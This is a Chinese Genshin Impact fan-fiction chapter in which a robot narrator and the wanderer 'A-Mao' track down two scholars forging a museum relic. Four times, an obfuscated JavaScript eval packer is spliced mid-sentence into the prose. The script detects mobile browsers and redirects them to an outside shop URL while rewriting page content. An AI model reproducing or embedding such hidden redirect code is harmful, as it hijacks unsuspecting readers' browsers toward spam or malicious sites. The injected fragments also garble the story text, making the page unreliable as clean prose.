迅速检查一遍全身的功能后,我再次面对还在靠墙站着的他,等待下一步指令:“阿帽,接下来我们该做什么?” “啧,你不会自己思考?”他手指点击自己的手臂,再次露出不耐的表情。 听到他的回答,我立刻从记录中检索相关情况,经过多重对比分析,最终得出结论:“现在最好的行动应该是从这里寻找一些线索,用以找到嫌疑人的藏身处。” “所以呢,你在等着谁从这乱七八糟的办公桌上找到可能不存在的线索?”他耸耸肩,之后便再无动作。 从客观上来看,桌面确实乱成一团,但对于曾经身为「科研辅助型机械助手」的我来说,整理他们轻而易举,只不过这次要额外进行扫描记录和信息检索。 散落的文件大多是申请书类的流程文件和没有有效信息的稿纸,其中还有对于教令院审核流程复杂的抱怨。 而书籍确是涵盖众多方面,上到天文地理,下到鸡毛蒜皮,甚至还有本陈旧的菜谱。 大多数书都是崭新的样子,并不是从智慧宫借阅来,而是直接购入的,只有一本有着明显的折痕——《须弥地理》。这本书中有一页的页脚翘起,看起来是被压出折角后试图复原的痕迹,顺着这里打开,入目是占据整页的善见地地图,但上面并没有任何标记。 我试图从中寻找细小的压痕却没能成功。 身侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297236|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落下一片阴影,阿帽冷不丁靠近,拿起了那本菜谱翻阅起来,同时撇我一眼:“向后翻,别只顾着盯地图。” 我听从他的指引向后翻阅,从大片对天水丛林和荼诃之座的介绍中寻找异常点,终于在干净没有任何记录的书页中找到一丝细小的划痕,似乎是手指点击时指甲留下的痕迹,对应的段落是名为有顶塔的古遗迹介绍。 而此时轻笑从耳侧传来,阿帽盯着菜谱的某页扬起嘴角,眼中闪过不屑。 凑近了才发现,他看的是蒙德独创的鸡尾酒配方,通过加入蒙德特有的小灯草来使液体表现出细碎的闪烁微光,再用牛奶做出不透明的厚重感——照片中亮晶晶的紫色酒液在灯光下仿佛夜空,让我觉得十分熟悉。 与报纸上阿萨提亚捐献的「原始胎海之水」大同小异,只有颜色不同。 抬头看看勾起嘴角的他,我觉得这时候很适合来个笑话:“阿帽,蒙德流行喝原始胎海特调吗…” 他的笑容瞬间淡去,面无表情的扭头盯着我。 “我只是觉得刚刚的气氛很适合一个小小的笑话,”发现自己在不合适的情况做出了错误的行为,我后退一步,小腿径直撞在椅子上,“我没那么傻,我看出来博物馆的「原始胎海之水」是仿照鸡尾酒制作的赝品了,真的。” 他似乎丧失了开口回复的欲望,将菜谱大大方方地铺开在桌面上,让那杯特调的照片在最显眼的位置。 再次观察后,我发现鸡尾酒中的紫色不仅是葡萄的作用,还加入了钩钩果。 植物大全中记录过钩钩果是一种药材,而药材…似乎人类对于药材的口味多半都是差评。 嗯…虽然不知道什么样的味道算是好评,但这杯酒确实符合色香味俱全标准的样子。 “磨蹭什么,不是找到了他们要去的地方,”他现在门口捏住门把手,却没有率先出门,只是侧头看着还在研究鸡尾酒的我。 “只是比较好奇酒的味道,它看起来很符合美味的定义。” “那我劝你永远不要相信自己的眼光,那杯特调早在几十年前就因为味道不怎么样而被除名了,”他恶趣味的扯起嘴角,着重强调了最后几个字。 我摇摇头,有些失望:“真是遗憾,不然还是想尝尝它的。” 他又一次无趣地收敛嘴角:“到底还走不走。” “当然走!” 直到我边回应边抱起自己借来的书,阿帽才打开房间出门,像是特意等我迈开步子赶上去。 于是我在《阿帽观察日志》中给他打上了「贴心」的标签。 5. 禁止单打独斗 空气中溢满潮湿水汽,湿度达到了惊人的数值,水天丛林的雨似乎从不停歇,就像它的名字那般。 我偷偷从腿部的隐藏储存空间摸出一把小雨伞,然后看向在树洞中仰望着阴沉天空的阿帽,在斟酌是否要问他需不需要共撑一把伞。 “管好你自己,”他似乎看出我的意思,压低斗笠的边缘,随后便踏入雨幕中,顺着小路走向有顶塔。 “放心,不会让自己脑袋进水的,”我给自己加油鼓劲,撑起雨伞,比划着它和斗笠的大小,发现斗笠的直径比雨伞要小上大约二十厘米,“倒是阿帽你,这么小的帽子挡得住这大雨吗,天水丛林的降雨量可是比其他地方多得多。” 也许是因为大雨倾盆的阻挡,又或者是置若罔闻,阿帽一言不发,沉默着顶雨前行,像是没听到我的问题——结合前几次的情况,他大抵是懒得开口。 频率不同的脚步声穿进有些潮湿的麦克风,前半段路程上的乡间小路并没有很多泥泞,还算好走。 这可让我犯了难。 虽说恶劣的环境需要专心致志,但朋友之间应当是需要主动沟通的,至少人际交往真理上有这么个理论…我悄悄将视线凝聚在阿帽身上,透过朦胧的水雾,我看到他周围的雨滴被一阵微风阻挡,以至于尽管只依靠斗笠也可以做到全身不被淋湿。 伞顶啪嗒啪嗒的撞击声骤然变大,此时细密雨线变为豆大的雨点,落在小水坑中溅起一地水花,打湿了我的鞋子和裙角,白色的教令院制服长裙上沾染些许褐色的泥土。 膝盖以下有防水涂料不用在意身体出问题,但白色的布料却很难清洗,低头查看自己的惨状后,我又瞄向阿帽…他的木屐干爽如初。 微风的话…我想起他心脏处悬挂的风属性神之眼,脑海中有了推测。 “阿帽,原来神之眼还可以这样用吗?好方便,”雨势变化,我趁着它没刚刚那么大,加快速度赶上去。 “如果不想滚下悬崖成为野生动物的美餐,你最好闭上嘴好好看路,”他并没有回答我的问题,反而是随意挥手赶走不知何时在他肩膀上停留躲雨的团雀,“啧。” “我觉得我并不好吃,”目送小小的鸟儿穿过我们之间的缝隙飞进伞下,我不由自主向中间倾斜伞柄,“不过我确实不想摔一身泥巴,教令院制服还蛮贵的呢。” 阿帽欲言又止,不,应该说是欲怒又止,将我不小心戳到他斗笠的伞边拍开。 有几滴从尾珠飞出的雨水落到他手上,被轻而易举地甩掉,没有留下任何痕迹,对比我脏兮兮的裙摆… 如果以后能有机会获得神之眼,希望也是风属性。 不过神明怎么会在意一个冒牌货人类呢。 就这样想着,余光中的阿帽突然停在原地,我也随之站定,顺着他的视线看过去。 前方右侧的岩壁下有个简易的基地,中心接满雨水的蓄水锅溢出汩汩流水洇湿一旁的草垛,上面是由枯枝撑起破损布料形成的简陋帐篷,几根布满符文的柱子随意竖在周围,顶端钳着装饰有尖角的石环。 数只丘丘人围着熄灭的柴火堆跳舞,木棒就放在他们身后触手可及的地方。 它们占据了整条小路——去往有顶塔古遗迹的必经之路。 这显然是个坏消息,毕竟从左侧悬崖下去,再从后段峭壁爬上来实在不是合理的路径。 “啧…原地待着,”阿帽紧蹙双眉,留下一句轻飘飘的叮嘱便捏着风球冲向挡路的魔物。 我听话站在原地,提高雨伞看向战场。 突然冲出的人使整个营地炸开锅,围成圈的丘丘人分散开,抄起各自的武器,齐刷刷面对入侵者。 魔物数量众多,好在阿帽一个人还对付得过来,浅绿色的风刃划破水雾订进他们的身体,而他则在低空中灵活躲避冲自己来的木棍。 也许这场战斗很快便会结束。 然而事与愿违,草丛中突然钻出来的两只长鬓虎为现状带来危机,它们将矛头对准入侵它们领地的不速之客,呲牙咧嘴地用后肢刨着地面,全身紧实的肌肉一触即发。两只野生动物不足为惧,但意外来比想象中的更加猛烈,螃蟹形状的遗迹机关苏醒,被异常激活的它用灵活的四条机械腿向这里发起冲锋。 野兽与魔物不知为何达成同一战线,同时从不同方向围剿,阿帽寡不敌众,一时间只能全力躲闪,没有攻击的间隙。 风卷着雨滴飞向我,晕染我的左眼,内部的摄像头失焦,不自然收缩又扩张,视野被朦胧梦幻的霞光笼罩,双眼不同景象使我失去平衡险些跌倒,直到那滴水珠被我用袖子拭去。 阿帽陷入了苦战,身为朋友我应该出手相助。 我切换出左眼的分析镜头对准战场,丘丘人和遗迹防卫者被记录为魔物,长鬓虎攻击人类时可以紧急避险,所以对他们造成伤害并不会违反规矩。 虽然是辅助型器械,但我也略懂一些火力。 掀起上衣,我双手用力扣开腹部的隔板,固定在那里的四个圆柱暴露出来,紧密排列的炮口不大,但胜在攻击速度快,一轮特制的火属性弹药击中被雨水打湿鬃毛的丘丘人,剧烈的元素反应中,它们瞬间化为灰烬。 而此时飞行的阿帽发现突破口,瞳孔扩张,远远看我一眼便顺着缝隙撕开更大的裂口,在子弹的助攻中一口气将所有敌人消灭。 看着散架的遗迹机关,我默默将隔板盖回肚子上,拍了拍,将补充弹药加入备忘录。 由远及近的脚步声提醒我战场中的人已经落地。 他面无表情地径直走到我面前。 “打开。” 不加宾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297237|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语,我没理解他的意思:“什么?” “我让你打开,腹部。” 虽然不明白他的意图,但我还是依言打开,难道是要看看我这从枫丹进口的热武器? “果然,你这具躯体没有任何人体组织,不是生物改造,而原本就是机器,”他眼神晦暗不明,“怪不得小吉祥草王那么说,还真是、同类…” 最后两个字是从齿缝间挤出的气音,模糊非常,差点就被这淅淅沥沥的雨声掩盖过去。 同类?什么意思?是指我和阿帽吗?阿帽也是机器人?看起来并不像…最重要的是,小吉祥草王? 乍一下听阿帽提到须弥智慧之神的名字,我感到非常疑惑,毕竟从教令院学者口中听到其与智慧之神熟稔、并且话语中并无太大敬意的情况太过罕见。 绝大多数,甚至所有教令院的学者都对草神大人抱有极大敬意及仰慕。 传闻草神大人十分亲民,时常在须弥散步,如果有幸遇到并与祂产生任何互动都是一次珍贵的体验。 但阿帽表现出来的随意绝对不是偶遇这么简单,人类面对自己尊敬的人总会格外小心翼翼,他并没有用敬称,也没有那种偶然遇见的惊喜感,反而像是提起一个普通的熟人。 新的信息录入,计算模块自动开始分析,并将相关记录链接起来,我一时间没能做出其他回应。 不知何时,雨水再次改变形态,化为空气中飞舞着的毛绒细雨,它们润物无声,无法用雨伞阻挡,周围静谧到只剩下牙齿嘎吱嘎吱的声音。 阿帽磨着后槽牙,不知道在想什么。 放弃解析的我十分关切的问他:“阿帽,你牙不疼吗?这样对口腔健康不好。” 原本陷入未知情绪中的阿帽听到我的发问,第一反应却不再是愤怒,而是抽搐着眼角,一副无可奈何的样子。 “闭嘴。” 他态度的转变很突兀,我又一次调动计算模块试图分析原因,复盘前几次的对话。 我猛然反应过来一件事—— “原来阿帽不知道我是机器人吗?!” 我想我现在的表情称得上人类的大惊失色。 “你这个,”他话说到一半又吞回去,嘴唇紧抿片刻,烦躁的开口,“少废话,还要在这里耽搁多少时间…还有,”他无语地下移视线,用手指戳了戳炮筒尖,“别忘了把肚子关上…藏好你的秘密,除非你不在意被视作怪物。” 虽然没有触觉,但我清楚地感知到他用手指抹去了一滴即将滑入炮口的水珠。 看来上半身也可以涂上些防水涂料? 计算着这一笔额外开销自己能否承担,我抚去黏在衣服上一层浅浅的水汽,踩着一连串无法躲避的水坑跟上他,全然不顾飞溅的浑浊泥水。 前面便是有顶塔了。 6. 禁止主次不分 剩下的路段,我小心翼翼地在泥坑边缘落脚,勉强才能跟上阿帽。 为了践行书中对友人的鼓励式相处,我一路上都在见缝插针的夸奖他刚刚的战斗,上到帅气身姿,下到飞行路径。 只不过他始终没有理会,直到我们路过几节破碎的石料台阶。 “少拍马屁,到地方了。” 抬起雨伞,入目便是一扇斑驳的石门。 有顶塔的周边格外杂乱,只有入口处能称得上干净整洁,身为须弥比较出名的古遗迹,这里不缺想要来考古研究的学者,只是危险性成为许多人望而却步的原因。 石砖坑坑洼洼,在雨的敲打下激起水花。 我盯着入口处的地面——这里并没有泥泞的脚印,甚至还有层完整的绿色青苔,不像有人经过后被雨水冲刷干净的样子。 据我所知,他们并没有神之眼,做不到不留痕迹。 我不禁对那本《须弥地理》中的划痕产生质疑,毕竟这种不经意留下的痕迹是线索的概率其实很低。 “别看了,这边,”阿帽手中正捏着几根茂盛的树枝,随手丢到远处,蹙着眉用风吹走地面上堆积的枯树叶。 几串模糊的脚印暴露出来。 看外表,这是教令院统一制服男鞋留下的,从大小和形状上分辨不出它们的区别,但从两个脚印间的距离上看,是两个人。 “这个是阿萨提亚,”我指着间距较大的那一边脚印,随后移动到另一边,“这个是哈拉马,根据磨损情况和雨势大小判断,差不多是二十分钟前留下的。” 顺着脚印的方向,最显眼的是一堆生长异常、聚在一起的藤蔓,它们格外密集,将后面的景象遮得严严实实,仿佛天然形成的一道门扉,因为与刚才丢掉的树枝一个颜色,所以很难发现。 阿帽已经开始着手处理通路,嘴上还嘲讽一番:“哈,他们应该庆幸这里很少有那群生论派的人过来。” “这种现象确实罕见,如果它不是人为干扰的话,”我赶过去帮忙,直接扯断了这些弯弯绕绕纠缠成麻绳般的带刺藤蔓,“阿帽,它们有刺,我来,我不怕扎手。” 他闻言盯着我,眼中没有流露出任何情绪,片刻后放下手中的枝条后退两步,双手抱胸监工。 暴露机器身份后不再需要伪装,我行事风格大胆起来,三下五除二清理出可供一人通行的裂口,顺便从手腕滑出剪刀清理了一下附近的尖刺。 以前我也为「母亲」的秘密实验室做过园林风景规划呢。 在我完成所有工作后,反身看向阿帽,他大步走到入口,而我也始终盯着他。 盯—— “…看我做什么,还嫌耽搁的时间不够多?”他打算侧身经过时,终于直面我的凝视。 整个人都被斗笠笼罩,阿帽的俯视很有压迫感,绀青色的眼睛在阴影中仿若宝石,覆盖一层靓丽的流光,皮肤没有丝毫瑕疵,就像瓷娃娃那般。 我随着他的靠近仰起头,让眼部屏幕的瞳孔变成星星形状:“等待夸奖。” “…?”他下意识扯了下嘴角,嘴唇抿起,有些欲言又止,最终还是一言不发的走进山洞。 我跟在后面钻进去。 这里面比想象中的要亮堂很多,整个隧道被不知名树根和其他植物环绕,剩下的空间三个人并排行走都绰绰有余。地面上还有一些干掉的泥巴脚印,也许是前人没预料到会有其他人找到这个隐秘的入口。 我在洞口迅速甩干雨伞上残留的水滴,凑到阿帽身侧:“阿帽,真的不能夸我一下吗?” “……” “阿帽,鼓励和称赞是支持朋友的绝佳方法,书上说这可以建立更加积极的互动关系,增加彼此的信任和尊重,促进友谊的成长。” “你确定你看的不是什么育儿宝典,”他无语吐槽,向侧面移动一小步,看起来想离我远点,但空间有限只能作罢,“我什么时候承认「朋友」这一点了?” “哎?!我们不是朋友吗?”我真切地为这一点感到惊讶,尽管我还没有弄清楚「朋友」的定义。 “很显然不是。” 他有些恶劣地咧开嘴角,颇有兴味地等待我的反应。 我边跟着他的脚步,边思考这个问题,在逻辑模块运转几秒,然后再次抬头,正好与他对视:“不可以是吗?” 像是没料到我会如此直白的发问,他明显愣了一下。 “…至少现在不是。” 我分析这其中的含义——嗯,没说不可以是,也就是说以后可以是。 在得出这个有些拗口的结论后,我猛地点头:“我知道了,我会努力的。” 他给我一个「你又知道了什么」的眼神,甩甩袖子加快脚步走去前方。 甬道弯弯绕绕不知通向何处,我们总共用时2分38秒才抵达像是尽头的位置,根据平均步行速度,这条隧洞大约有两百米。 尽头一片郁郁葱葱,没有尖刺的藤蔓从岩壁爬上顶端,又随重力垂入低矮的灌木丛,形成天然的植物门帘,抚开它们穿行而过,视野豁然开朗,庞大的地下空间露出真面目。 “好大,地理书里没有记录这个地方有洞穴哎,”在我说完后,周围隐约传来几阵回声。 “安静,别一副没见过世面的样子,”阿帽神色冷峻,在我继续开口前阻止我,“真不知道你是来抓人的还是来投诚加入他们的,一点都不紧张。” 我紧急调低音量,直接下降到窃窃私语的程度:“这样还听得到吗?应该不会让他们发现吧。” 他没接话,蹲在悬崖边缘观察周围,找到个坡度最小的地方。 “…从前面下去,有新的脚印。” 我这才顾得上查看自己身处的位置。 顺着刚从隧道出来方向,经过一段斜向下的路便是我们目前所在的悬崖,尽头陡峭接近九十度,没有攀岩工具无法通过,而阿帽找到的地方最平缓,还留有一些绳索摩擦过的痕迹,倾斜的墙壁上有浅淡的划痕,最底部的空地分布着杂乱的脚印。 想来阿萨提亚他们就是从这里下去的。 见我靠近边缘,阿帽从原地飞起,带着一阵风就降落到下一层,侧身抬头望着我。 目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297238|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测墙壁的角度和下面空地的大小后,我简单计算自己完整落地的概率——不至于散架,不过也许需要一些维护保养。 就这么记录着,我一手抱书,一手勾起指尖按住岩石,让自己缓慢开始自由落体。 前半程非常顺利,但后半程墙面上有不少滚落的碎石,随着自身下滑的速度越来越大,小小的磕绊都能让我原地颤动一下,威胁但平衡的维持。 我看到阿帽皱起了眉头。 随即下一刻,隐藏在沙土中的石块硌到我的脚边,整个人随着惯性被它翘到空中,手中的书也脱手而出。 这可不妙——那是从教令院通过正规手续借出的书,如果受到损伤要罚款。 权衡利弊后,我在空中伸长手臂,将飞出的书捞进怀里,紧紧保护起来,然而就是这么几秒,错过了安全落地的最后机会。 ——希望肢体不要损坏得太厉害,仿皮肤材料好贵呢。 忽起的烈风卷走我的学者帽,耳侧的发辫猎猎作响,一股上升气流止住了身体下落的趋势,紧随其后的是向上飞起造成的视野变高。阿帽在短短一瞬间爬升到我所在的高度,双手圈住我的腰部就咬着牙用狂风阻挡重力的拉扯,直到抵消不断下坠的加速。 他保持着安全的速度落地。 “重死了,赶紧站好,”咬牙切齿地把我放下后,他甩甩自己的手臂。 “毕竟是机器,所以会很重…” 然而我还没说完就被粗暴的打断。 “你这个蠢货!”阿帽仍然压低声音,愤怒从齿间化为气音,“就为了几本破书,真不怕自己就在这里散架?我可不会把你拼起来。” 忙乱中,我加急解析他生气的原因,左眼又开始闪烁起来:“可是学者手册上说,损坏从教令院借出的书…” “闭嘴!” 他越发愤怒,在这一句恶狠狠的呵斥后,谁都没有继续开口,周围只剩下山洞中隐约的风声。 我觉得自己应该主动开口。 “对不起,给你添麻烦了,”我不知道这时候应该怎么做,理论上,我应该准备礼物用来表达歉意,但显然没有合适的选择,只能直视他的双眼,努力凸显自己的诚恳,随后原地给他鞠躬,“谢谢你救我上来,阿帽。” “……” 空气重回寂静。 约有半分钟后,他按下帽檐,遮挡住自己的脸,也阻断我的视线。 “…嘁。” 他语气中似乎没有那么生气了。 我觉得一句不够,又加上一句:“对不起,阿帽,我错了。” 他原地转身,背对着我双手抱胸,“话真多,还要不要追回你的学术成果了?” “当然要,”我拍拍裙子上的浮灰,向他前进的方向奔跑。 在加快的步伐中,我们追踪痕迹跟到了底部又一个通道里,随着深入周围越来越狭小,最终到达一块巨大的岩石背后,从左侧可供一人通行的缝隙中传来其他人的说话声—— “老师,这个时候过来风险多大你不清楚吗?你明明知道风纪官已经注意到我们了…” 7. 禁止表里不一 “老师,你明明知道风纪官已经注意到我们了…” “住口,你在质疑我的判断?” 阿帽低头靠在石壁上听着动静,我小心翼翼凑到岩石边缘,借着灌木丛的掩盖偷看里面正在争执的两人。 “现阶段风险太大了!老师!万一被发现…” “门口的伪装可是你做的,怎么?这么不自信是终于承认自己的平庸了?” “你…” “放心,门口的机器可是从镀金旅团重金收购的,不是什么便宜破烂,更何况…那周围的魔物也不是吃素的,你以为那群羸弱不堪的学者会冒着生命危险,穿过怪物堆来这里?” “风纪官可不是普通人,尤其是那个胡狼头。” “…我的好学生,不是还有你移植的藤蔓吗?那群粗鄙的武斗派哪有这么细心能看破你的伪装,老师一直相信你有自己的才能…” “也是,您不过是一介小小的讲师,还轮不到大风纪官出马。” 玻璃砸在地面破碎的声音刺耳。 “…废话少说!赶紧用剩下的材料能做多少做多少,反正是要舍弃的基地,处理干净不就行了。” 他们暂时停下了争吵,开始用帐篷里搬出来的小灯草和蓝色粉末在玻璃瓶中勾兑「原始胎海之水」,就像来自蒙德的旧食谱那样。 为了减少被发现的概率,我打开手背上的摄像头,打开录像功能后握拳伪装成草丛中的石块。 与此同时,我运行计算模块有些困难,就像人类出神那样。 “怎么?看到表里不一的人让你难受了?还是说他的欺骗让你很愤怒?”他垂眸注视正沉思的我,眼神晦暗不明。 “难受和愤怒?” 我仔细琢磨这两个词所代表的含义与感受。 “表里不一的阿萨提亚让我感到困惑,我不明白为什么表现出来的和实际的要有这么大差距,他面对自己的共犯哈拉马会格外的暴躁——那是真正的他吗?而面对我时又总是像慈祥长辈一样,就因为有所图谋? 在对我很好的情况下,他又隐瞒着所有事情,甚至伪装成优秀老师骗取我的学术成果,欺骗是一种令人作呕的行为,我现在理应愤怒,我…我只觉得核心堵得慌,这是什么?” 我望向阿帽。 “这就是愤怒吗?” “……”他并没有回话,视线从我身上移开了。 阿萨提亚和哈拉马还在窸窸窣窣的伪造原始胎海之水,如果想要人赃俱获还需要等待一段时间。 我坐在草地上蜷缩起来,单手抱着膝盖回想这段经历,思考起难受和愤怒的理论定义,试图从自身来寻找实际感受,将其录入学习人类的实践记录中。 狭窄的缝隙有风吹过,我听到阿帽模糊不清的低语随之而来。 “…你可以愤怒的。” 我抬头看向他。 “你有愤怒的权利,无论你是否为人,”他散漫的背靠岩石,看起来漫不经心,“你受到了实际的欺骗和伤害,难过也很正常,这没什么好纠结的。” “所以堵得慌是因为难过?”我摸摸胸口,那里并没有所谓「像火燃烧一样」的愤怒。 “那我的核心会碎掉吗?就像文学作品中提到过的…”我停顿一下,复述一直困惑我的那句,“「心生来就是要碎的。」” “…不会。” 我试图从他的尾音中听到解释,但他只是吐出这两个字后便不再开口。 好难理解。 “人类可真复杂。” 发出这样的感叹后,我仍然保持仰视的动作,现在的阿帽与洞穴入口处不一样,没有那种仿佛与生俱来的压迫感。 “现在是真实的你吗?那平常有些凶巴巴的你呢,那也是真实的吗?”我站起来,学着他的样子靠在墙壁上,径直与他对视,“现在的阿帽很温柔,也很坦率。” …… “…嘁,多嘴。” 他迅速移开视线,用斗笠遮住脸,不露出任何表情,只是低声提醒我:“他们要结束了。” 窸窣声逐渐变小,空地上的二人又开始争执起来。 “…全都归你?那我累死累活给你帮忙是为了什么!” “算你是我的好学生,哈拉马,老师发达以后是不会忘了你的。” “就用这一句虚无缥缈的承诺打发我了?” “你还想怎么样?都把摩可沙的论文让给你了,我看过了,那篇论文含金量可不低。” “那又如何!这怎么和捐赠藏品给博物馆相比!你在捐赠书只写了自己的名,提都没提我的份!” “你不就是提供了个外表?是不是真的都不知道!你应该庆幸没有人知道原始胎海到底长什么样,更何况,从蒙德进口的材料可都是我托关系找来的…哈拉马,做学生的可不能太贪心。” “你!你就不怕我直接揭发你弄虚作假?” “哈哈哈,你在想什么呢我蠢笨的学生,你真以为风纪官查了我之后,不会查到你头上?想想你那可怜的学术成果中有几个是你的?” “……” 我眨眨眼,跟随他们开口的顺序左右摇头。 “哈,狗咬狗真是百看不厌,”阿帽就站在我身后,“都录下来没有?” 闻言点头,我顺便拷贝一份录音放在加密文件夹中:“录音和影像都备份过了。” “该出去了,”他走到我身侧,随手搓了个小小的风球,“就算留了后路,他们抱着一箱劣质色素水也跑不了多远。” 就在这时,阿萨提亚和哈拉马已经靠近裂隙,踩碎了一堆低矮灌木的枝叶,却突然停住,周围安静下来,我动都不敢动,生怕一些金属的摩擦声在这种时刻非常刺耳。 “你在磨蹭什…” “安静。” 哈拉马非常警觉,也许发现了什么踪迹,又或者保险起见,他阻止了阿萨提亚继续前进的动作。 “老师,我们走第三条路,万一有什么人循着痕迹追过来,也不至于撞上。” 脚步声再次响起,越来越远,直到他们回到帐篷附近,阿帽才再次开口。 “看来多少还是有些反侦查意识,”他嗤笑,向外迈一步,盯着两人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297239|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背影,“我们跟上去,”又回头看着一动不敢动的我,“还是说这点程度就给你吓破胆了?” “没有,”我猛猛摇头,一本正经地竖起手指,“先不说我没有胆囊这个器官,但这些经历不会给我带来恐惧,倒不如说,我还想体验害怕这种情绪呢。” “啧,”似乎对我的解释并不满意,一脸忍耐,“别发散了,正事要紧。” 说罢他就走出藏身处,压低脚步声跟随前面的身影。 阿萨提亚二人钻进一个隐蔽的山洞,这里似乎是山体内部裂开的夹缝,仅能容许一人通过,戴上斗笠是无论如何都过不去的。 我提议帮阿帽拿着他的帽子却被无情的拒绝,随后便发现他已经摘掉了头顶的斗笠,也不知道收到哪去了。 我啧啧称奇,在进入缝隙时开启静音模式。 逐渐深入,周边崎岖的岩壁也渐渐扩张,最终稳定在两人并排的空间,阿帽走在前面,我左右探头才能看到前方的景色。 好吧,和来路没什么区别,只不过更加蜿蜒曲折。 我们看不到人影,只能听声音来判断前方二人的位置,阿帽始终保持在一个安全又不至于听不到对话的距离,默默窃听偶尔传来的争执。 在他们又要吵起来时,脚步声突然停止,随即是一声恼怒的咒骂。 “该死的…你看你干的好事!” 阿萨提亚因为愤怒而加大声音,整个山洞中回荡着他的「你干的好事」,不绝于耳。 “这时候又怪我?我能预料到出口塌方?还不是你偏要敏感时期过来收拾残局…再说了,不是你同意了我的想法吗?老·师!” “你这个逆徒…” 新一轮的唇枪舌剑即将打响。 我们站在最后一个拐角,围观师徒间的战争。 不明白,危机时刻不应该先做最重要的事吗,比如逃跑…但是就我自身的行为来看,好像没什么立场来说这句话。 “吵死了。” 阿帽突然开口打断他们,走出我们隐藏的角落,那斗笠不知何时又回到他的头顶。他直直望向因为震惊而盯着他的阿萨提亚二人:“真是两个白痴,有人跟了一路都不知道,还有什么遗言想说吗。” “什么东西…你这个蠢货,怎么没发现!”阿萨提亚惊慌之余还能有闲暇骂哈拉马一句,然后阴恻恻看向阿帽,眼神在他身上打转,随即轻蔑一笑,“就你这小身板还敢一个人来,真是勇气可嘉,至于抓不抓得住我们,那就不是你说了算的。” 哈拉马倒是冷静,没有惊慌失措,只是默默把手中搬着的蓝色小药水放下。 “妄自尊大,”阿帽抱着胸冷哼一声,向后挥挥手,语气中隐隐有些无奈,“摩可沙,还不出来阻止你的「好老师」和「好学长」吗?” 原本以为没有自己出场机会而待机的我被提到后,从他身后钻出来。 “来啦。” “你们好…不对,你们坏,”我摆出一个轻小说里看到过的帅气姿势,同步放出狠话,“收你们的来了!” 阿帽好像被呛到,突然猛咳几声。 8. 禁止威逼利诱 “阿帽,是喉咙不舒服吗?”保持住姿势的同时,我关切的眼神飘到身侧,着重在他脖子处扫视几圈。 “闭嘴。” 阿帽从喉咙中挤出的低音更是让我确定了这一点。 “不能讳疾忌医,有病就要治…” “够了,担心担心你自己吧,”他不耐烦地打断,控制住狂跳的眼角,“你的「好老师」可是急着同你好好「商量」现状呢。” “是坏老师,”我纠正,随后看向已经不再那么愤怒冲动的阿萨提亚,以及看起来有些低沉的哈拉马,“我已经知道全部真相了,你们都是学术不端的学者,应该认罪伏法,商量的话…” 我甩甩头表示拒绝,引用阿帽刚说过的话。 “还有什么遗言想说吗?” 哈拉马在阿萨提亚的视野盲区举起双手示意,后退一步,随后伸手将衣袖中藏着的闪粉蓝色小药水放进他抱过来的纸箱中。 这一切都做得静悄悄,没有被发现。 我听到阿帽嘲讽地轻笑一声,还没开口询问他为什么笑,就被阿萨提亚打断。 “摩可沙!别再听这小子的话了…” “我最聪明、最贴心的学生,不要被小人蒙蔽,”他恶狠狠地瞪了一眼阿帽,扯起嘴角凝视我,“你还不够成熟,会被其他人蒙蔽我不怪你,过来,只要你乖乖再喊我一声「阿萨提亚老师」,你现在的冒犯可以一笔勾销…” 他露出以往那种慈祥的笑容:“来吧好孩子,我们一起灭口…「赶走」他,一切都能回到以前。” 曾经使我安心的笑脸此时却显得面目可憎,明明是一样的弧度、一样的眼神、一样和煦温和的声音…我再次陷入困惑中,甚至有些怀疑自己的扫描头出现了异常。 下意识看向身边的阿帽,他双手抱胸,并不打算说话,只是用平静的双眼回应我的注视。 没有催促,没有压力,只是在等待着我的选择。 果然还是选择阿帽好。 所以我用手臂在胸前打了个叉:“不要。” 阿萨提亚的脸色变了一瞬间,然后停留在心痛又包容的模样。 “摩可沙,我理解你现在的混乱…找到地位和财…和真理的路上总是充满欺骗,你只是被蒙骗了。” 他看起来痛心疾首。 